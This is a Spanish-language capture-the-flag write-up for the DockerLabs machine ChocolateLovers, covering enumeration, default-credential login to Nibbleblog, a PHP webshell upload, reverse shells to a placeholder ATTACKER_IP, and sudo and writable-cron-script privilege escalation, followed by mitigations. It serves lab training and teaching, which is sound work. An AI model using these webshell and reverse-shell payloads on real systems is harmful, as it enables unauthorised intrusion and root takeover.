Ir al contenido

ChocolateLovers

Este documento describe la resolución completa de la máquina ChocolateLovers, creada por El Pingüino de Mario y catalogada como fácil en DockerLabs. El objetivo principal es presentar una guía reproducible que explique cada acción, su fundamento técnico y las medidas necesarias para evitar vulnerabilidades similares en entornos reales.

El flujo metodológico se divide en:

  1. Reconocimiento — identificación de servicios expuestos y rutas accesibles.
  2. Explotación — obtención de acceso inicial (filtración → ejecución remota → webshell → reverse shell).
  3. Escalada de privilegios — abuso de privilegios sudo y archivos inseguros ejecutados por root.

Todas las pruebas se realizaron íntegramente dentro del entorno controlado DockerLabs.


AtributoValor
NombreChocolateLovers
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación26/06/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip ChocolateLovers.zip

Desplegar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh ChocolateLovers.tar

El script retornará la IP asignada, necesaria para los siguientes pasos.


Ventana de terminal
mkdir -p ChocolateLovers/{content,exploits,nmap,gobuster,scripts}
cd ChocolateLovers

Mantener los artefactos ordenados facilita documentación y repetición del proceso.

IP asignada


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultado relevante:

  • 80/tcp → servidor web Apache

Puertos abiertos


Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Resultado:

Gobuster Result

No se descubre nada crítico inicialmente, solo un index por defecto de Apache.


Al acceder al index, Apache muestra la estructura de directorios real del sitio. Esto constituye una filtración directa.

info leaked

Se observa el directorio nibbleblog. Esto permite continuar la enumeración.


index blog

Enumeración adicional:

Ventana de terminal
gobuster dir -u http://172.17.0.2/nibbleblog \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

resultado 2 escaneo

Se detecta el archivo admin.php, mostrando un formulario de login.

Login

Intentos básicos:

  • Bypass SQLi: no funciona.
  • Credenciales por defecto: admin:admin.

Resultado: acceso exitoso al panel de administración.

admin board

Aquí es donde se identifica la vulnerabilidad crítica: el panel permite subir imágenes sin validación, lo cual permite subir un archivo PHP malicioso.

Contenido usado:

<?=`$_GET[0]`?>

Tras subir el archivo, se puede acceder directamente desde:

http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?0=id

id response

Esto confirma ejecución remota de comandos.

Se utiliza una línea encodeada para abrir reverse shell:

http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?0=php -r '%24sock%3Dfsockopen("ATTACKER_IP"%2CATTACKER_PORT)%3Bexec("bash <%263 >%263 2>%263")%3B'

Resultado:

www-data shell

Acceso obtenido como www-data.


Ventana de terminal
sudo -l

sudo -l

El usuario www-data puede ejecutar php como chocolate sin contraseña.

Ventana de terminal
sudo -u chocolate php -r "system('/bin/bash');"

chocolate login complete

3.3 Identificación de procesos y archivo vulnerable

Sección titulada «3.3 Identificación de procesos y archivo vulnerable»

Ejecutando:

Ventana de terminal
ps aux

ps aux display

Se observa que root ejecuta periódicamente /opt/script.php. Además, el archivo es escribible por el usuario chocolate.

ls -l script.php

Esto constituye una escalada directa a root.

Ventana de terminal
echo '<?php $sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("bash -i <&3 >&3 2>&3"); ?>' > /opt/script.php

Al ejecutar el script desde root (servicio o proceso recurrente), obtenemos:

root

Root adquirido.


Tipo de vulnerabilidadDescripciónImpacto
Indexación de directorios habilitadaApache expone la estructura de archivos, revelando directorios internos.Medio
Exposición de aplicación NibbleblogDirectorios sensibles del CMS están accesibles sin restricciones.Alto
Credenciales por defecto en adminEl panel de administración acepta admin:admin.Crítico
Subida de archivos sin validaciónEl panel permite subir archivos PHP ejecutables.Crítico
Configuración sudo insegurawww-data puede ejecutar php como chocolate.Alto
Archivo ejecutado por root y escribible/opt/script.php es modificado por un usuario no privilegiado.Crítico

  1. Deshabilitar la indexación de directorios en Apache.
  2. Eliminar credenciales por defecto y aplicar MFA cuando sea posible.
  3. Implementar validación estricta de archivos subidos (verificación MIME, extensión, tamaño).
  4. Aislar el proceso web del resto del sistema mediante contenedores o chroot.
  5. Revisar permisos sudo y evitar permitir la ejecución de intérpretes.
  6. Asegurar que ningún archivo ejecutado por root sea escribible por otros usuarios.
  7. Migrar a un CMS actualizado y con soporte.